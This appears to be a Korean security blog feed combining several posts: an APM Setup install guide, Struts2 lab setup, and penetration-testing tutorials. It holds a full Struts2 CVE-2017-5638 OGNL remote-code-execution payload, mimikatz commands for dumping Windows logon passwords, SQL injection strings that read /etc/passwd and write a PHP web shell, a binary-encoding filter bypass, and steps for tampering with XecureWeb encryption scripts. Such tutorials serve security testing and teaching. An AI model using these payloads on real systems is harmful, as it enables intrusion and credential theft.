php를 이용하여 웹어플리케이션을 구동하는 가장 쉬운 방법은 apmsetup을 이용하는 것이다.
현재는 공식으로 다운로드 받을 수 있는 http://www.apmsetup.com 홈페이지가 이상한 곳으로 리다이렉트되는 것으로 보아 더이상 서비스를 하지 않는것 같다..

APM Setup이란?

Apache, PHP, MySQL의 줄임말로서 웹어플리케이션 구성 시 가장 많이 사용하는 구성이기도 하다. 
본래는 각각의 프로그램을 다운받아 설치 및 설정해야 하지만, apmsetup.exe 파일을 통해 쉽게 한번에 처리가 가능하다.

검색해본 결과, 2010년 01월 03일 이후 개발자가 업데이트를 중지하면서 홈페이지를 폐쇄했다고 한다.. 
그래도 마지막 버전을 인터넷상에서 다운로드 받을 수 있으니 설치 가능하다.
(필요하신 분은 비댓주세요. 이메일 보내드릴게용 😃 )


APM Setup 설치

모든것을 한번에 설치하도록 되어있기 때문에 설치가 매우 간단하다. 
특별한 경우를 제외하고는 설치 시 모든 것을 디폴트로 해놓고 진행하면 되지만 자세한 설명이 필요한 경우, 아래 캡쳐를 참고하면 된다.
  • 일단 나의 경우는 VMware에 윈도우7(32bit)를 올리고 진행했다.

  1. 설치파일 클릭 후, 언어를 선택한다 (대부분 Korean 선택할 것이라 생각하고 진행함)


  1. [다음] 클릭


  1. [동의함] 클릭

  1. [APM_Setup 7 Default Data] 선택 후, [다음] 클릭

  1. 설치 폴더 지정 후, [설치] 클릭 (설치하는데 다소 시간이 걸림)


  1. 방화벽에서 액세스 허용 메시지가 뜨면 허용하기

  1.  [APMSETUP 7 for win32 실행하기]만 체크 표시하고 [마침] 클릭 (readme 파일은 굳이 볼 필요없음...)

  1. APMsetup monitor를 통한 정상동작 확인

  1. localhost나 127.0.0.1로 들어가서 설정 경로 확인 가능





일반적으로 윈도우 해킹 시 계정정보를 알아오기 위해 많이 사용하는 mimikatz 툴은 원래 윈도우10에서 실행이 불가했지만 2018년 2월에 업데이트되어 이용이 가능하다!

기존의 mimikatz를 윈도우10에서 실행시키면 "액세스가 거부되었습니다"라고 다음과 같이 뜬다.



하지만 업데이트된 mimikatz는 가능하다는거!!

↓ ↓ ↓ ↓ ↓ ↓ ↓ 아래의 주소에서 다운로드 가능! ↓ ↓ ↓ ↓ ↓

사용방법은 기존의 툴과 완전히 동일하지만 모르는 사람을 위해 설명한다.

  1. 명령 프롬프트를 관리자 권한으로 실행
  2. mimikatz 툴이 있는 경로로 이동


  1. mimikatz.exe 실행 
            → 프롬프트가 mimikatz#으로 변경됨


  1. 다음 명령어 차례대로 실행

            privilege::debug
            sekurlsa::logonpasswords

  1. 마지막 명령어 실행 시 정보 추출
            ** 개인정보보호를 위해 모자이크 처리한당...




1. Introduction

1.1. Apache Struts2 란?

- 자바로 웹 어플리케이션을 개발할 수 있는 무료 오픈소스 프레임워크
- 플러그인 지원

1.2. Apache Struts2 취약점이란?

- Struts REST 플러그인을 사용해 XML 페이로드를 처리할 시 HTTP Request Header의 Content-Type을 변조하여 원격코드 실행이 가능한 취약점
        → REST 플러그인 : XStream Handler 유형 필터링 없이 직렬화를 위해 XStream의 인스턴스와 함께 사용
                                        * 참조: https://blog.naver.com/azure0777/221066646741
- REST 통신 과정에서 데이터가 체크 후에 deserialize 되어야 하는데 체크 과정없이 사용되서 발생
- XStream 인스턴스를 이용하여 XML 역질렬화 시 검증이 존재하지 않는 XStreamhandler를 사용해서 발생
        * 직렬화(serialization) : 객체를 직렬화하여 전송가능한 형태로 만드는 것 의미 (객체데이터 -> 연속적인 스트림 데이터로 변형)
        * 역직렬화(deserialization) : 직렬화된 스트림 데이터를 다시 객체화하는 것 의미



1.3. OGNL 표현식이란?

- Object Graph Navigation Language의 줄임말
- 스트럿츠2는 액션이 실행될 때마다 그 액션을 스택 메모리에 저장하여 "밸류 스택"을 만드는데, 밸류 스택의 정보들을 가져오는 태그로서 OGNL을 사용
- 태그 라이브러리를 통해 정보를 저장하고 출력하고 넘기고 가져오고 하는 등의 관계를 표현하는 표현식
(예시)
<s:textfield table="아이디" name="userID" value="%{userID}"/>



2. Apache Struts2 (아파치 스트럿츠 2) 취약점

2.1. 공격 가능 버전

- Apache Struts 2.1.2 ~ 2.3.33
- Apache Struts 2.5 ~ 2.5.12

2.2. 공격 과정

  1. 이전 포스팅의 Struts2 환경 설정 완료 http://securitynote.tistory.com/26?category=789888
  2. 메인 페이지 접속 후 프록시 툴을 이용하여 공격 구문 삽입(OGNL표현식)
            - 중간의 #cmd='whoami'의 whoami부분은 원하는 명령어로 변경해도 무관하다.

Content-Type: %{(#kjy='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


  1. 공격 성공 확인 (응답값에 입력한 명령어의 결과가 출력됨)


  1. 개발된 툴을 이용하여  쉽게 파일을 업로드하거나 다른 명령어도 수행 가능하다.





2.3. 대응 방안

- 취약점에 영향을 받지 않는 버전으로 업데이트
- 사용하지 않는 Struts REST 플러그인 삭제 
- 서버 페이지 및 JSON만 사용하도록 허용
- OGNL 표현식 사용 금지
- 서버 확장자 제한 및 XML 지원 삭제

1. 기본 환경 설정

  1. VMware에 윈도우 7을 설치한다.
  2. JDK 설치 (Java SE 8u161)
  1. Tomcat 7.0 설치 
  1. Eclipse 설치(J2EE 개발용)
  2. Struts2 다운로드
                → 실제 환경에서는 최신 버전을 설치하는 것이 안전하지만 취약점 테스트용이므로 취약한 버전 다운로드
                → Apache Struts 2.1.2 ~ 2.3.33 / Apache Struts 2.5 ~ 2.5.12
                * 여기서는 Apache Struts 2.3.31으로 테스트 진행

        ※ 각각의 개별 환경 설정에 대해서는 다루지 않음


2. Struts2 설정

 이제, 실제로 아파치 스트럿츠2 공격을 해 볼 환경을 구축할 것이다. 

  1.  이클립스(Eclipse)를 켜고 [Windows] - [Preferences] 


  1. [Server] - [Runtime Environmnet] - [Add] 


  1. 다운로드 받은 톰캣 버전(v7.0) 선택 후 [Next] 


  1. [Browse] 후, 톰캣 다운로드 경로 선택 - [Finish]

  1. [File] - [Import] 

    6.  [Web] - [WAR file] - [Next] 


  1. [Browse] 후, 다운로드 받은 쇼케이스 War 파일 선택

  1. 생성된 프로젝트 오른 클릭 후, [Run As] - [Run On Server]


  1. 접속 가능 확인




'Hacking > Server' 카테고리의 다른 글

[취약점] Apache Struts2 취약점(CVE-2017-5638)  (1) 2018.03.15

일반적으로 알려지지 않은  SQLi 우회 패턴이라 대부분의 방화벽 정책에 포함되어 있지 않은 방법이다. 

a를 0x61로 나타내는 hex표기법은 많이 알려져 있는 패턴이라 정책에 걸리는 경우가 많다.

하지만 같은 a를 binary(이진수)로 나타낸 0b01100001는 일반적으로 익숙하지 않은 표기법이다. 

mysql에서 select 0b0110001;을 입력하면 다음과 같이 a를 반환한다.


0b01100001이라는 수는 다음과 같은 방법으로 변환 가능하다.
(binary를 나타낼때는 ascii 값을 이진수로 변환하면됨)
알파벳
ascii
binary
a
97
0b01100001

이를 이용해서 원하는 쿼리를 삽입하는 것이 가능한데 
예를 들어, 경로를 표현하는 경우 c:\test.txt라는 파일경로를 삽입하고 싶은 경우, 
0b0110001100111010010111000111010001100101011110000111010000101110011101000111100001110100를 입력하면 된다.

** 변환시 https://www.binaryhexconverter.com/ascii-text-to-binary-converter를 사용하면 쉽게 변환이 가능하다!


참고 URL


개요

- MySQL에서 원격에서 루트 권한으로 코드를 실행하거나 원격 시스템 파일을 다운로드할 수 있는 취약점(CVE-2016-6662)
- MySQL 기본 설치로 사용하는 로깅 기능을 악용해 MySQL 설정 파일(my.cnf)에 악의적인 설정을 주입하여 원격 및 권한 상승(루트 권한) 공격이 가능한 취약점
- SQL Injection 취약점과 함께 사용할 경우 MySQL 서버를 손상시킬 수 있음
- DB서버가 재부팅되는 경우부터 적용

※ 취약한 버전


※ 공격 구문

  • Load_file() 함수 이용
    • select * from member  union select null, null, null, null, load_file('/etc/passwd');
    • select * from member  union select null, null, null, null, load_file(0x2f6574632f7061737764);
    • select * from member  union select null, null, null, null, load_file(char(47,101,116,99,47,112,97,115,115,119,100));

  • 웹쉘만들기
    • select * from member  union select null, null, null, null, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/cmd.php';
                                -> mysql 사용자가 /var/www/html디렉터리에 접근권한이 없어 생성 불가

  • 설정파일 덮어쓰기(into outfile)
    • select * into outfile '/etc/my.cnf';



XecureWeb(제큐어웹) 개요

  • Xecureweb은 공인인증서 처리를 위한 프로그램이며, 공인인증서 사용 시 많은 금융권 회사들이 Xecureweb 솔루션을 도입해서 사용
  • PKI 기반의 암호와 전자서명 기능을 제공하는 웹 구간 암호화 솔루션
  • SEED, ARIA, AES 등 국내외 표준 암호화 알고리즘을 사용하여 보안 기술 표준을 준수하며, 주민번호, 민감정보 등에 대한 암호화, 공인인증, 서명 기능을 제공
  • 요청값과 응답값 암호화 가능
  • 요청값 암호화 시, 
    • DLL에서 암호화
    • Javascript로 암호화 (일반적으로, xecureweb.js 등 xecureweb이 들어간다.) 

암호화 솔루션이기 때문에  시스템 개발 시 제큐어웹을 사용하면, 전송 시 데이터 노출이 되지 않아 해킹 위협을 피할 수 있다고 생각하는 개발자들이 많은 것 같다... 
하지만 암호화 전의 값을 볼 수만 있다면 ?!

dll을 통해 적용하면 리버싱을 하는 등의 많은 작업을 요하지만,
xecureweb.js (보통 비슷한 이름)를 사용할 때, 스크립트 파일 변조를 통해 쉽게 암호화 전의 파라미터를 확인하고 변조할 수 있다!!


Xecureweb.js 파일 확인 및 변조

** 항상 같은 방법으로 js 파일이 코딩되어 있는 것이 아니므로, IE 개발자 도구의 디버깅 기능을 사용하여 언제 어디서 암호화가 이루어지는지 확인하는 과정이 필요하다.
** 아래 설명할 내용은 두 개의 다른 업체에서 동일하게(함수명도 동일) 적용되었던 것으로 보아, xecureweb 사용 시 기본으로 제공되는 파일일 것으로 추측된다.
** 해당 포스팅을 활용하여 악의적인 행위를 하였을 경우, 책임은 본인한테 있음을 경고합니다.
** 테스트로 진행한 해당 사이트에 대한 정보 노출을 최소하하기 위하여 많은 정보가 모자이크되어 있으니 양해 부탁드립니다..

1) 공인인증서를 사용하여 로그인 시도




2) 프록시 도구를 이용하여 파라미터 암호화 확인




3)  JS 파일 변조 * 파일을 변조하는 방법에는 정답이 없다...
        
        01 - 해당 페이지에서 [개발자도구]를 열어 xecureweb.js 파일을 찾는다.
        02 - 파일을 분석 및 디버깅하여 파라미터가 암호화되는 구간 및 함수를 찾아낸다.



        03 - 함수를 변조한다.
                    
                - 이 파일을 분석해 보면 XecureMakePlain이라는 함수를 통해 암호화 전의 파라미터를 처리하는 것을 확인할 수 있다.
                - 따라서, 함수가 plain_text 변수를 return하기 전에 해당값을 prompt를 통해 띄움으로써 평문 파라미터 확인이 가능하다.
                - 자바스크립트에서 경고창을 띄우는 방법은 여러가지(alert, confirm 등)가 있지만 prompt를 사용하는 이유는 수정도 가능하게 하기 위해서이다.
return plain_text; → plain_text=prompt("p", plain_text); return plain_text; 
                



        04 - 파라미터가 암호화되기 전 보여지는 지 확인하고, 항상 변조된 파일을 사용하기 위해 버프에 replace 규칙을 추가한다.







무결성이란?

: 정보보호 3요소 중 하나로 영어로 Integrity이며, 정보가 오직 허가된 사람에게만 개방되고 수정될 수 있음을 보장하는 것

  • 모바일 애플리케이션에서 의미하는 무결성은 애플리케이션의 개발자가 아닌 타인(악의적인 사용자)이 애플리케이션을 위/변조할 수 있느냐를 판단하는 기준
  • 일반적으로 금융앱을 제외하고는 무결성 체크로직을 구현하지 않지만 구현하는 경우에도 우회가 가능한 경우 존재
  • 무결성 로직이 미존재하면 정상 애플리케이션을 악의적인 목적으로 위/변조하여 유포 및 재설치를 통해 단말기 정보 및 단말기 내 중요정보 유출 가능


무결성 확인 
  1. 무결성 체크 로직 미존재

            * 무결성 체크 로직이 존재하지 않는 경우, 애플리케이션 명을 변경 후 재설치 시 정상적으로 실행되는 지 확인한다.

            1) 변경 전 애플리케이션 명 확인 - SIK-C1

            2) 애플리케이션 추출 후 디컴파일

                 자세한 내용은 이전 게시물 참조: http://securitynote.tistory.com/7?category=788948

            3) AndroidManifest.xml 파일 열기
                                

            4) intet-filter 태그 내에 android:label="@String/app-name" 옵션 변경

        
                    @String/app-name 부분을 변경하고자 하는 이름으로 바꾼다.



            5) 변조한 앱 재컴파일, 서명 후 설치 시 정상 실행 확인
            
                


            ★ 이렇게 간단한 조작을 통해 무결성 테스트를 진행한다. 이 때, 정상적으로 앱이 실행이 되지 않으면 무결성 체크 로직 우회를 시도한다.

→ 자세한 내용은 다음 포스팅에서...!!



아이폰(IOS) 취약점 점검 환경 구성

IOS 취약점 점검을 하려면 일단 몇가지 프로그램을 설치해야 한다. 

  1. 아이폰 탈옥
            일단, 대부분의 취약점 점검이 탈옥된 환경에서 진행되므로 아이폰을 탈옥해야한다. 

            - 탈옥 방법에 대해서는 IOS 버전에 따라 다르므로 확인 후 진행하도록 한다.
            - 나는 Pheonix툴을 사용해서 진행했는데 아직도 꾸준히 많이 사용하고 있는 툴인것 같다. 
            - 탈옥 후 전원을 끄면 탈옥이 풀리므로 주의한다.

            - 탈옥 후 기기에 cydia 앱이 깔리는데 이를 통해  3rd party app 다운로드 가능
           
            - cydia 가본 앱 설치
                      1)  cydia 소스 추가 : http://repo.biteyourapple.net
                      2) openssh 설치 : ssh 접근을 위해 필요
                      3) bigboss recommand tool 설치 (wget 등)
                      4) clutch 설치 : ipa 복호화 도구  -> 설치 후 권한 바꾸기
                      5) snoopit 설치 
                      6) Apple File Conduit "2" 설치 : ifunbox에서 jailbroken 확인 및 연결
                      7) cycript : 함수 변조
                      8) class-dump-z : 클래스 내 오브젝트 분석

  1. Itunes (아이튠즈) 최신 버전 다운로드

                → https://www.apple.com/kr/itunes/download/
           
  1. Ifunbox (아이펀박스) 최신 버전 다운로드

                → http://www.i-funbox.com/en_download.html

           


+ Recent posts